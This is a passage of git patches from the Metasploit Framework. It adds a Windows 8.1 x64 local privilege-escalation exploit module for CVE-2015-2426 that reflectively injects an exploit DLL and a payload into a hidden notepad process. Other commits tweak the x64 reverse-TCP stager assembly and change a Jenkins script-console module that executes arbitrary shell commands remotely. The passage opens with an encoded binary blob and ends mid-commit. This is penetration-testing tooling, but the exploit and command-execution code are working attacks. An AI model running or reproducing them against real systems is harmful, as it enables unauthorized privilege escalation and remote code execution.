ziP?5i*P$%&pVrxC#;BS3Q`F2<$W_yP^OL8k#g%8M#U)GC;?yN-vCX08jLr(#T}ti3 zLnEWe*fw{nn!7t;bY^J!(6oW6zSzPkt{4uAj8Q_|1QoX`CS@QUalu#O;f{Lv(dPkh zQy0Xj1*r*Y!9DXrb9}Q4O}v)Hi0e>l-V6A>9nv<{rlz802@B)Y!jhS4Vd@OE(4RPp zR70}{>^_t3-la;louSm_NGDF(aB|7T>g0TvIyrT#I@z{ax51~|;GBTG@gmZk5_q(I z4%$9vmED(sml<cLPEoU0&9w4HH04cJ>Z|ZKGVe}=--UmGoDerj#UVY~8%}f43Vfde z-lVw#;k)6(X&lp)<GIDkQF)4Tlq^z?)P>4{7hmR&o)nrpgzwFu-=yqo(5JodkFu<O zgfChhVQcJ4reW;j)XZ(ue6~gLYEk7hwWuUcEy|y&7Ny3jMXRh_2W%V@8(s*Vo;p=c zUlrrBS#`(PiTp7>8(uVx^-uCmES!*HTNsc2wyTBt$M$)GJx19przktxY+n^0GGp)? zOuo5UN)55Dx^5A>vQ4t7Nf^udE2gSbDxXxRlsutMN&S{O#rBvow$(7%j7uEGWh%x6 z<Fn1~n>wzK#iriG550E$2sMiGL?+CSQ}Zj~OQx#%NH>4g+|k*ggaK2(#}MZl{K#Z~ z5sBfZN`2PrzLxx^ZdPhKyo4=DeZom`>Ll3SNwB?>w#^<*2+bUtJ}@n8dtLa!e07de zOPH^=hbduuko-Da$QM7Dt~YU{u7{@`UEghUM@?Oew<)zCFA{(L(l|9QKS9k)wX1pl zS)=yQjDdLHv_hGW@*LRwv!|#9m5*RfeN!#4^{HtnPjo)%Pv~ti6I9Hq2`TeWiB&W2 znKn8#G-Y72Z&Kkz*Mt;_hptfxjAQCh@p+}b2>&_O**0Z@nqvE!&QJ0bFKdUfKR@g* zYMd;+*h<NC*h;*z-xKe%S!0Cp!MvM~c{d+6gmDTXtEl`EV9$0n^Ho`kre`g#oQ1iZ zfd03u*%>qLi5ra##SBdvn7}ql-E}=?BHau%^I<F9xr;09NT<hb_Uak_@##{KPTNd8 z>VvVs9GZ_YfXxg^AISV0!>#yQZ1_~N51t2a2R~r?ME9A?He-UCu_`Vl!Rn8xs0aEP z^U?I>EIgcc6a1ql-5gnau;%1XhK)~Bb7t9n*8G@-Iwi!Y1k@#A)%4IbUtD-?Jn1@& z1^m20R17X*ZmgP{I!(=8Wv#=o$VlAZBi_pEm3oEc%|CCNTACV|xYXvEXdj&siXVy_ zi1ke=jA0+9;NeA%f4I&EzogVx;LZ3a;6?G7SR3UWVcNB?7V9+p`=(vv)&{GNm8fUQ z6x21ws;f!+eWd#}{3j-@Wg9aw7BgTQ(=i?xmwV=h#EwqXC->f|)Z_4`Ppm$?0rLSb zg-=hNqo)5R#wYeId-C(~BKfr6==CjpEIA(My16*l&B3{DmRkI9_}t=>IP%QG{IjOv zymN|Lh!-P|*LU@ZW6iH^SU1HU{E*f<oPc%Mj&*n@*5Mgy(LH)~pMP?Uink@G==tZ9 zJghZ$7S`MZl!vwVo^V|_Z_p<t=#zZfs()^1e&S>`^<9&bp7VuL=S4AU#&4#Cj7HjG zm5~^y5;6A@G4~QN9*MK&gycMGn-!yG9iFXbRVJueuTFDW{dgMkSqxh=bxoOI^@)|w z<OynWDt0QY`JJHb4`W5~#kh1|or=CnJZ@k0p>E=SkoU9gBA-o~e$;x>4}J=M0RAWQ zl=>G)?7SX*t%J*;b8yY0)@=(PRXar>RlOVTgD$d#2|;KV~gzB47Qb}`GRtE3^N zYR`@wyA{WruVU?siuVf~Q;2swHz+!|9?JVE-=Z{WhFHd7%KxPN{7RjEfP4Y@EXqX6 zSjrDmbo?!bO*zT>_$<mK%C(dQlpe}z%38|%DZ412r5vUlq5P0C?i^j-LdxZo7f^1a zETO!b@@C2g%Eu^&D1SjYX@$-|k#ZH~2Fl%(HIzZhKFa4Phba$J{)SSqALA%bp<GUx zNx6%%oU(@UR?7P+8!7uKU!Z)I@?A<V$IaNq4vyaj%2Y}R<s3>MrAgO5c}J<g61NEa zs^Aq9@FlX`ijpd?TYruX=c;BoCSNB@FDda`UpWs>lsUog;~~aHS=+W`<*Z(1%^Y>Z z#H#}M^jCT1o^*Blgl+D<rTAW*Kf_xTz}M;!+sCi?=})G~p>BNND^TgLIKZ!{UBVdY z#l^TI@fYD6c=<)Uz3z0?YGRI8sqJ}L+e{56C{%SrMR{eeyKI{~P*LSC#&_kE`Z8)$ zhA)d9t6IqtGvqsZm8B>v6AxZZvt^?EN-MlEa}%>qo0#n`^63tH#fH8?qB4BD4qx#@ z4d+O2@!Np<1BRPQ@cZ4wO@U1J?y9|e-F_E35jSVbhhyQd18%_g7pwekqg!grDle`m zal0zekN6(i5%~gI6z`By<V$l|et(4@-z~F6e}>*WeiW_mH@-G87vB{uU4Nj`onNuD zw8Wj^De|i~CYxY>MOd$1lpOLZOSBOv^{<nyuO!Mh`BZ5nci}DgOdwuIX_upHj`WXG ziIedazo<H9NeoGmf57KfG3?uM-=kE|>ynFLl|K1U-cIE?wmewTT5A-nk6)^kNf%eS z{Rdobzx9d5@?y93p+WSUUD6)?rA7?Ln^qatXB6cti0J{VRtTwcM3Ys%ztmq*E_cxS z(}n@GugNB59Z%IgX<MZ?qsS-YmjR=5S68Y><XBEc#l9-vhN^P?rOon6d?-&nDH=|? z?d4bDYkx}BP2OJavA%v-l2u)dPvYSlk*JakymCn|o=|=9#1nqmGrhbd&sSP*^@O^7 za-P?X@Au6-wm($)<b1ckth5~8i{$tzRWmt1{H4(wB#ds+Ul+Ym2vyQ_P{<mDGRZl5 z<v^c3A#K%-#PmB8HZ2Rm(H|gHs%2u1yJ-LT50m1)CVG{zEVv3Y#`+FrhD-%~hf#IN z{7cVpDRqaGzcnjY!r!uHrAy35eKK)tRi&>ApVh?d)5D3Ht+T9Wn_JJ~bc^!vbyVDq zPt1vY(-JXXmV9+Ov0EIew^?5g6`KivHS}G*4wMHfyl$z%hf$19LB8k6I7ZE=X~L2R zr?{+7zt*!1MkM*{RM+e8mvRz5%QZ?8p&EY`F88)4JvMw+@Z$7s?ws4=m(~JuZ@Z-* zmCL>5y9mi<$fkooPlHH5_$~Ro4@}-$^?vSche9}({o(-j_t)p#;y~PNyd|^g#&<?H z-IzWUmwU^t!s(Z$Uy`1;EBnS@CLLL_)aMF6!Ka(Qs`2gQub!>c_bzk1y63ecM^L=N zrJZ$uh3u{G>WW0UDiI#HtoZh`QZevT;itgI!^cv}G2u9P(M^LlI>}ekikt~A`P$*- zSOWYkdO3b7yc|ClUO1gBPxA`HM65L1cpSImR(u&($^Q~~DO-Lemwd|L9q>MQTyEo+ zWnF)1hs3XempUJ$ya7_$awELxZ-SS6?uI`T{z38~NU2XVyp-1lFYz9Smo~iuFZv(D zi#`#ZBK>3f><An%?1aVDNM-(lPV$V-&K3;_kLPjfWAuM+{697QpIV<kHUIJP$Mg8| z|5iC|kKX71OUXaKAMGb}I&a4b-Jf6fUtta>{{2u__QXE`{S`LmFIlA%nu(l(;7({J z4om(2{h$9`hGCnazl_(6OPs<R4%~1m$EWpe9XQmY<-vzSA4|x2U5zD!i2v=T*P9$# zeazp3zt@MHl#hPO`00%Q7~+4w@o?h;^?u_><L6GC|8<9~6c^)y>f+Zw|GGn6{`wWK zuR1pV4~O3heT4nu>vYZR8;|~7Q_fQvQK<^w*54g1q4ZFCDSeccl+~2iP~JpYM_Er9 zq<n;OfbwO^A<EY%hbezT8KOK)IYRkM%2CP>DaR;PNVg}Jat`G}N|XN*@^Z>lN++d@ zvVhV<SxH$<SwmSz8KgAV1O4Oy%0bE@%3;b7<p|{{rFuuV$4=>>OrvyB7E)GI)=<_` z)=}0|Hc$pB`zZS<2Pg+AhbV_BM<~_1tRJPx-$72HbW*w~J(Sgyb(GDNU6lQlLzH8b z_V;wTj@)DIJIcI2bue@D(fN!|_&=o=J2JL3zD~l0+m2sv$4UBl-^p60EYi~TN7{M3 zGNO-#JV%#j*cM$$o*|>tjStH`PIQv-`tdCB#sA&?y$Al@1ONRV7(a)8Kkhz%jO$4s z=lP#2uc!N%`98vY|5SMnnk?R|cV>M%ZN6TQWG#`lEg>UlIccA`s(QSW0I%KX^|C=_ z`}oKa*)NiP7AO1>T#MB}9z=ZEyOMn<2RwdyKh`x&aE1>KPL70s8ygNgABYc!UEi4* z4lns|mI>F~Uq8=;9Zx+yUxz0>^U}$8rb_tGuU>xT<Y#}l#pxJ*@KN8{!S3h3Ug{jW z?31PMFSv8-{10w)UU~nIznn2+@*QXPKIr`DnTE_?9h`O7!5hBid}i&BTEBl})8gu9 zf9R}uA$0rCYhK#;#J$1vr@pvv`?B-z_%C1Rn)Oe;dFNXnef@VIT-R}N#-X3?fA8hr zoVntrgJ)zW*-z>i>#@K0{Bys}{Gjc%fB&x!-r0Qhm%pFoe)+|_XSDV-%zv+G!*usa z@l^+JuG;@nc5cD?!)^DTzvkTjhkuoq+xGrt7e0U4n%f?{=h7pWwT>Qg4CJ@m{+Xg5 zd~(~Rw+%17?3Rz-*xT{tv43CoOyl5XZ`PFOy!5rNIBuP=t?;>}RcNpJ-pk*6S-an@ zyYj-gA2<2r&)B+4OV+%-^^UKU&${tH)_v!P%iZ(eEja1%AN<?8p_!-OwDIJPUC+1u zdY!ZNu~KjE<bV9k%^$2=ec@B<uYUhW_dWB^KU??gC!f4hbW_4rFLxeZw<70r@8mxB z^nG9c=}YVGc`k2FRp$5RJpB*7>)zV?#C_*yb)WK$@87p>$>}e=`_vO_Ru<iM^}3?% zmwfxWZ{%Gw>&eU4{rJ}_?udE%o-fY*UFNza>so$(e#^37Tpv7Z-L+kZ4nI|L&4!^j zw|}<y3o$RBo`2PiNA5m&;oZNzVE)y`OEXpubge!0mLH_uu<<MX>XRR@`AKa-?8)C4 zdGF@diECcCDQo?d$G%$inK#b4VD*&?Up@VeRlnX;cj@`9UwV3A=j$yuv^GAv>Rr#n z32oaR%Dm)p`|_om4kw?Nx;3xom3>R^x@1!Gz+2B=`@4}BPI>TWwU_R^d+jr>8&6Bz za*=!YCpX^J8*|^a35S#4dgzr`2PeJRI{X*jA(YYjyZe9L1CwxVbvL|s$#iue<N*96 zghf6uTd5SsbW8TnksXTZYArUSuYi|0UdVcen<3wTPdi;do6(MEhVl{r5y)I@cuW5B zoXG)riE|C)+whXlDCA6hK+K2ucE}gtt52J*1|gR%#`9G;o&@QJm*XDDT8C2i;kd{j zz)L=_LAIQ#)KfSfgnR>Djvt0xdYTR=L4KBDC*;ki>$=rK_P|U00mvOobhrevm*GB0 z`%>(opNe`yZi1I~;Za!i(HTlThjKrLT(?ZO(Fgf9HtRpc@sMoVpQVqB+yXCYU64K= zAAk%o{7cCG<+`kwA&(?0wH)QjNoy^<)Kg?3!y?~>mpl(cw&HoxLc|Y3E=ytCA#>oR z|3x0av!eGQ&NYz#3NL*-3i)0to~Op~!;qclDfLT)yCC2E4E~=Z#0fzzO2hdKVF%>P z@OFen4xEpEScX1?OuhiWb>Mgk<RSPZgy*b5|G-NfoRGJ}OIt+VyiSMfAbT0^gB)U5 z<W?urNWVdTm*JNobJKYovKC(YL8LrSCSj3>GL%Y19l9V#;pMo<t1@*zS3{ngh2M4% zCk^te@X{xbK(=ncue=ENLC)Q%`ymnXJos9P4;g@$b`3!;%0@rnxC`=LcxmH(kPmKB zY6Qm{ARmX9`2CRo1~2vb5OVfr)Cb4sK(2(BI9|wya&TRNa1e3`-YN^SI#=f}@;~6c z=>IXuo44q8)k2oKlsYW=K%RkTO??O_L3;CG19BX4!4A|J;S|VWc!m0iylkh=zYy}D z7#@Lqq(C1R`60a2N95km;rAtJ3*@br={lr*9&-~u3CDwwahL1%Iv_LQvvJ%7>4A44 z?1Q`#J|E#4$b;|&2;T&`uu!KJnFBB7iu?w=^z$Q-?=xIbg!KV_7mklWZrZKm<UlSi z*5m7dd;(tje+croZX8GWW5{#&==?Jwzsm3fkZ0`G_Lc;BDZJES7vu-<*C1`7N2%w_ zlnNp|2>FN)>k`5uH(#k#7s5G^&*F!`4-tM2(iy-QAuMtayyWSDe39Wn$T^j|{vz*y z7yEnw@&;V(EL@8IfxL4+zW;!59puOGGEYVR=hgc77-Yj2&|bt5nRzX20O3N&9{3=_ zeUM+e4t9=kEoABSunB~{ke7W4bvOg@A=}`S5Dr3~R;&AP3FNKt**JbX<dR#^CkTst z1>TGB5M<`9x{W@_Z^Db+J_7j>!yiN5b(?Nu9ppQ=qi#t1OUSG{^g3S%x$I8Na~w~C z`~dzri38bsm#$9`@@;srjS!@&)8&d>1OH3JUkf?yZuAxE5D)o7_z!X1cMrz89({}B zNsw=SU57)E>8%(u9M6RGz)L<Ne+n;a!U$x22kMMCBJb|PxeVd^AaCnNH4wfX@>e~2 z%^ZdNb}!am9DfdStPgcSSbamO`{AX38X!aPB?yl|?tNGvzXtNbM=<a3Ok@M(f=Bi7 zg^=ZsVGMA*4)V3fu?8Y6@}Yj+KMjy&-@;tOaUbNeCvc8II0<s%lbAaQPlEi(^N5eI zyr(hm1ssPxh?Ms#BrH<iX^^l;d7nYTBIO+g35%3>03<B(R}5Rv>A$Ft%QN`$yu8E_ zDbK}ASfo5}EMbxI+_i*7$}`sz7AenBOIV~l<1As3@*J{+Mapx<5*8`X2TNFFGQ+Tv zzd>iSp0P;Ox2;j_x2XxBl;a$i|8FcCy285Y>RMY=5(d|<t1k08_T$YaJQ8)`vX$qg zEOWT!$vFHsw-+wkp1&bEZJ8rbiD##ZycOl{3zr>m2bQh-?DV*`c-j#EW2pCl0~wSD zE?kEHxA%fTu?PR7aUi*@wAfz}sMu4PTwGChK~bRWoc$}8Iq(c$=^i|XxFfnWWaV(I zt@Kv~tpB!^xt;b$a$9|xl@2Kb?&2yu@N|HTBYyXl_)l6Z-6bx6>3%%Qv)3I6E2Gs} z)krE&g5|jPyS)yt{Jn5lQD9T~{)&BW|1w8asXPQ3K-=~dc?0fcjuqj2)~+~lDQj08 zRj0Kp!i_`nwJS`&0gfGxV~-5s{EVY@jrENUjlsr&#=*v+MjRN3$N!;;HNPj+lh~Wo zo7S7%ThQz2t?sSut?v!?_V*6<4)>1qj$xfrL-EQ15!;a1kkpXYklj$w;AyCCsP3uh zsqLxjQK5L%4BJR*N^8n)DroXFRX5c()i(v3`kMxuhMPv3#+qWA6PuHo)0(rJ3z|L6 z)y=id_07TN{^r5v;pUO%vF6y8#FnI%w3h6af)-CpbxUnaeM_*Vzh$sxxMieetR=QJ zu{EhRtu?!~pw-h_-CEmP-x_S~ZyjtMZXIbIYmIG7Y)fiOYs+pcX!EpHx7D`Qw*}k! z+XmZ)+eX^P+G2x=!K7eXFgsWf^aQJewZZyeFxVd)3=RiJf@8th_Qdw2_O$lw_JVd# zdv$wldwqMby}y01eYkz3eXKpUBe5f?BdsI5qoBjnQQcA7QQr~l=<gWp815M980(1b zOzceROzX_<Ea>!fR(IBR)^`Rw`#T3ahdW0)$2w!X61$SR(z>#{3c5U9)m^n+^<BZP z{;t8U;jWRcv98$e#O|c-wC?Qgf^JWDb$4xdeRr_Czk9HIxO=2~tUI<Ru_vh~ttY#u zpvTiwjef813HJ2&4E7B7jP#84#P%ls;ZYooS07`HV#kePZ9{!Su%W+Uuwl4iq+zTf z_E6%Xq(f<kvJVv;Dm>&nRCB2AP{X0VLj#9~4uuYl9#W0=Mn_{xqqEV~SlH-mtZA%+ zUG>4Ph8jbSqm8P`-sEUXX>vBXnhKkIO*Kt*O$|+bO#@9sO`)dICe>_jb~L9nJDXk2 zh0VU^n&!IZhUUKJf##v+Q1fWBYO%LCT2fk^Ev}Zr7GFzEOI=GtOJB=C%TP<GWwb@L z+FKp1DXq>{S8HLbueGMNuC<}HuXUhxs5R6&+N#>@ZH~5-HfNiwt+374R?}A3*3j11 zHqbWI7HS)9Q$c&s5ljg>gRWp<&=;%;)&(1aeZhg?P%so64XSo~yQ4j&-P!JHFKqX< z*R<EQH?;S)53~=phuTNmRfoO9(UH>O>~M7ycKAAKI_f$aI{G>WI)*wz9ittp)86Um zOzCuXx;hIxeVsL(b)5~JeVqfHL!F_{(N5K6?{ajdbUC|RU4>n~u9~j8u7<9@u7R$h zu29!#m+H26JGxW4o!zeP!fs!8O?O>)Lw8^IK=)90sC%?q_1JqHJt;lT9#>Ccj}J4j zuBV}=uV<iV2s3%KNA=o!9la^N&R$n<VXv>ZrnjzF*>TN-`8(KC(5sxdu0XgCb8i5% zZwT`*gc&%BIhcYr6`)lfw5u8|t3})D(Yheo*N+wsqK(67<p|n2hL*;nt%+!D655-F z7H6Z)1!%Pg?XE`4Yti<4tM&b8{~&r`7=18;UKm3^#G)q>(HBYRjWqN}HhQE0ed0l{ zRHI*N(KGevn;?3pAN@0k9vVg;ji8st&`+`GsRGQDdd!mHZaZd23g(B?>Jc>1HC?4b j6gGNbrPZ+0T3D)H1N*rO4#Q$cESrtBtQOJ#*SY@#hv4N& literal 0 HcmV?d00001 diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb new file mode 100644 index 0000000000..ffcf4852cb --- /dev/null +++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb @@ -0,0 +1,130 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/reflective_dll_injection' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = NormalRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Windows ...', + 'Description' => %q{ + This module ... + This module has been tested on vulnerable builds of Windows 8.1 x64. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Eugene Ching', # vulnerability discovery and exploit + 'Mateusz Jurczyk', # vulnerability discovery + 'Cedric Halbronn', # vulnerability and exploit analysis + 'juan vazquez' # msf module + ], + 'Arch' => ARCH_X86_64, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread', + }, + 'Targets' => [ + [ 'Windows 8.1 x64', { } ] + ], + 'Payload' => { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => [ + ['CVE', '2015-2426'], + ['MSB', 'MS15-078'], + ['URL', 'https://github.com/vlad902/hacking-team-windows-kernel-lpe'], + ['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/september/exploiting-cve-2015-2426-and-how-i-ported-it-to-a-recent-windows-8.1-64-bit/'], + ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=369'] + ], + 'DisclosureDate' => 'Sep 02 2015', + 'DefaultTarget' => 0 + })) + end + + def check + # Windows 8.1 (64-bit) / atmfd 5.1.2.238 (Works) + + # I have only tested Windows 8 + if sysinfo['OS'] !~ /Windows 8/i + return Exploit::CheckCode::Unknown + end + + # I have only tested 64 bits versions + if sysinfo['Architecture'] !~ /(wow|x)64/i + return Exploit::CheckCode::Unknown + end + + file_path = expand_path('%windir%') << '\\system32\\atmfd.dll' + major, minor, build, revision, branch = file_version(file_path) + ver = "#{major}.#{minor}.#{build}.#{revision}" + vprint_status("atmfd.dll file version: #{ver} branch: #{branch}") + + return Exploit::CheckCode::Appears if Gem::Version.new(ver) == Gem::Version.new('5.1.2.238') + + return Exploit::CheckCode::Unknown + end + + def exploit + if is_system? + fail_with(Failure::None, 'Session is already elevated') + end + + check_result = check + if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown + fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') + end + +=begin + if sysinfo['Architecture'] =~ /wow64/i + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') + elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86 + fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') + elsif sysinfo['Architecture'] =~ /x86/ && target.arch.first == ARCH_X86_64 + fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') + end +=end + + print_status('Launching notepad to host the exploit...') + notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) + begin + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") + rescue Rex::Post::Meterpreter::RequestError + # Sandboxes could not allow to create a new process + # stdapi_sys_process_execute: Operation failed: Access is denied. + print_status('Operation failed. Trying to elevate the current process...') + process = client.sys.process.open + end + + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-2426', 'reflective_dll.x64.dll') + library_path = ::File.expand_path(library_path) + + print_status("Reflectively injecting the exploit DLL into #{process.pid}...") + exploit_mem, offset = inject_dll_into_process(process, library_path) + + print_status("Exploit injected. Injecting payload into #{process.pid}...") + payload_mem = inject_into_process(process, payload.encoded) + + # invoke the exploit, passing in the address of the payload that + # we want invoked on successful exploitation. + print_status('Payload injected. Executing exploit...') + process.thread.create(exploit_mem + offset, payload_mem) + + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') + end + +end From 7b8b69c30dc24efb90ea71a75e45df9d323322fd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 2 Sep 2015 17:56:02 -0500 Subject: [PATCH 0504/2172] Fix 64 bits stager --- lib/msf/core/payload/windows/x64/reverse_tcp.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index 6be0bfdd1b..b707a93455 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -173,6 +173,8 @@ module Payload::Windows::ReverseTcp_x64 add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next ; Alloc a RWX buffer for the second stage pop rsi ; pop off the second stage length + mov rcx, 0FFFFFFFFh ; load mask on rcx + and rsi, rcx ; apply mask push 0x40 ; pop r9 ; PAGE_EXECUTE_READWRITE push 0x1000 ; From 8f70ec82565a5f8cb56fb2bc626cc11b311feb86 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 2 Sep 2015 18:21:36 -0500 Subject: [PATCH 0505/2172] Fix Disclosure date --- modules/exploits/windows/local/ms15_078_atmfd_bof.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb index ffcf4852cb..559b7860d9 100644 --- a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb +++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Local ['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/september/exploiting-cve-2015-2426-and-how-i-ported-it-to-a-recent-windows-8.1-64-bit/'], ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=369'] ], - 'DisclosureDate' => 'Sep 02 2015', + 'DisclosureDate' => 'Jul 11 2015', 'DefaultTarget' => 0 })) end @@ -58,12 +58,12 @@ class Metasploit3 < Msf::Exploit::Local def check # Windows 8.1 (64-bit) / atmfd 5.1.2.238 (Works) - # I have only tested Windows 8 + # Windows 8.1 if sysinfo['OS'] !~ /Windows 8/i return Exploit::CheckCode::Unknown end - # I have only tested 64 bits versions + # Just 64 bits if sysinfo['Architecture'] !~ /(wow|x)64/i return Exploit::CheckCode::Unknown end @@ -88,7 +88,6 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end -=begin if sysinfo['Architecture'] =~ /wow64/i fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86 @@ -96,7 +95,6 @@ class Metasploit3 < Msf::Exploit::Local elsif sysinfo['Architecture'] =~ /x86/ && target.arch.first == ARCH_X86_64 fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') end -=end print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) From 59aa3975be6e87cf556621d5ba7f04999fadf61a Mon Sep 17 00:00:00 2001 From: Alton Johnson <alton.jx@gmail.com> Date: Wed, 2 Sep 2015 18:27:44 -0500 Subject: [PATCH 0506/2172] Updated. --- .../auxiliary/scanner/http/jenkins_command.rb | 33 ++++++++++++------- 1 file changed, 22 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb index 30190e5b75..f0f984c8da 100644 --- a/modules/auxiliary/scanner/http/jenkins_command.rb +++ b/modules/auxiliary/scanner/http/jenkins_command.rb @@ -43,25 +43,36 @@ class Metasploit3 < Msf::Auxiliary deregister_options('VHOST') end - def run_host(ip) + def run_host(ip, prefix="cmd.exe /c", try=1) command = datastore['COMMAND'].gsub("\\", "\\\\\\") res = send_request_cgi( { 'uri' => target_uri.path, 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', - 'data' => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run" + 'data' => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run" }).body.to_s - - unless res.nil? - output = res.scan(/<pre>(.*?)<\/pre>/m)[1][0][12..-1].gsub("err&gt;", "") - end - - if output.include? "groovy.control.MultipleCompilationErrorsException" - print_error("An unknown error occurred when running the command.") + if res.nil? + print_error("#{rhost}:#{rport} - An unknown error occurred when running the command.") else - print_good("The server responded with the following output:") - print_good(output) + output = res.scan(/<pre>(.*?)<\/pre>/m)[1][0][12..-1].gsub("err&gt;", "") + if output.include? "org.eclipse.jetty.server." and try == 1 + run_host(ip, "", 2) + elsif (output.include? "org.eclipse.jetty.server." and try == 2) or output.include? "not recognized as" + print_error("The provided command is not valid. Try again.") + else + print_good("The command executed. Output:") + print_good(output) + end end end + + def report_data(ip, command) + report_service( + :host => ip, + :port => datastore['RPORT'], + :proto => 'tcp', + :info => "The command -- #{command} -- executed successfully on the remote system." + ) + end end From 0120e5c443de39e6c678cf2ea32a1462896142c7 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 2 Sep 2015 18:30:03 -0500 Subject: [PATCH 0507/2172] Cosmetic tweaks, don't report duplicate responses --- lib/msf/core/auxiliary/mdns.rb | 4 ++-- modules/auxiliary/scanner/llmnr/query.rb | 6 +++++- modules/auxiliary/scanner/mdns/query.rb | 6 +++++- 3 files changed, 12 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/auxiliary/mdns.rb b/lib/msf/core/auxiliary/mdns.rb index edff4afbed..fc3f6860c2 100644 --- a/lib/msf/core/auxiliary/mdns.rb +++ b/lib/msf/core/auxiliary/mdns.rb @@ -95,9 +95,9 @@ module Msf data.inspect end end - { "#{name}" => summarized_group } + "#{name}: (#{summarized_group.join(", ")})" end - "#{answers.size} answers: #{summarized_answers.join(', ')}" + summarized_answers.join(', ') end end diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index 2f4bde6ed3..74a8687efb 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -36,11 +36,15 @@ class Metasploit3 < Msf::Auxiliary end def scanner_postscan(_batch) + found = {} @results.each_pair do |peer, resps| resps.each do |resp| + found[peer] ||= {} + next if found[peer][resp] response_info = describe_response(resp) print_good("#{peer} responded with #{response_info}") - report_service(host: peer, port: rport, 